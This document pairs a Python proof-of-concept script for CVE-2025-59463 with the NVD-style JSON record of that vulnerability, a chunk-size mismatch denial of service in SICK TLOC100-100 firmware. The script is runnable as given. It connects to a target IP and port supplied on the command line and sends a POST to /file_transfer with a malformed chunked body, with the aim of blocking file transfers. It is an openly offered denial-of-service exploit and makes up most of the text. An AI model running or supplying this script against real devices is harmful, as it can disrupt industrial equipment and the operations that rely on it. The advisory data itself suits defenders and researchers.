CVE-2025-59463

# CVE-2025-59463 PoC - Chunk-size Mismatch DoS # This PoC demonstrates sending malformed chunked transfer requests # to trigger the file transfer blocking condition import socket import struct def create_malformed_chunk(size_mismatch=False): """Create a malformed HTTP chunked transfer encoding request""" # Normal chunk with size indicator normal_chunk = b"1a\r\n" # Malformed chunk with incorrect size malformed_chunk = b"FFFF\r\n" # Data payload data = b"A" * 26 # Termination chunk termination = b"0\r\n\r\n" if size_mismatch: return malformed_chunk + data + termination return normal_chunk + data + termination def exploit_cve_2025_59463(target_ip, target_port=80): """ Send malformed chunked transfer requests to trigger chunk-size mismatch that blocks file transfers """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # HTTP POST request with malformed chunked encoding request = b"POST /file_transfer HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n" request += b"Transfer-Encoding: chunked\r\n" request += b"\r\n" request += create_malformed_chunk(size_mismatch=True) print(f"[*] Sending malformed chunked request to {target_ip}:{target_port}") sock.send(request) response = sock.recv(4096) print(f"[*] Response received: {response[:100]}") print("[*] Malformed request sent - file transfer may be blocked") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) exploit_cve_2025_59463(target_ip, target_port)

{"cve": {"id": "CVE-2025-59463", "sourceIdentifier": "[email protected]", "published": "2025-10-27T11:15:41.150", "lastModified": "2025-11-03T19:25:32.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker may cause chunk-size mismatches that block file transfers and prevent subsequent transfers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-833"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sick:tloc100-100_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "5741B085-0E6E-4A6B-8188-1C1252B1A596"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sick:tloc100-100:-:*:*:*:*:*:*:*", "matchCriteriaId": "224B60BD-6A7D-410A-A72E-18D0E669A39C"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0013.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0013.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}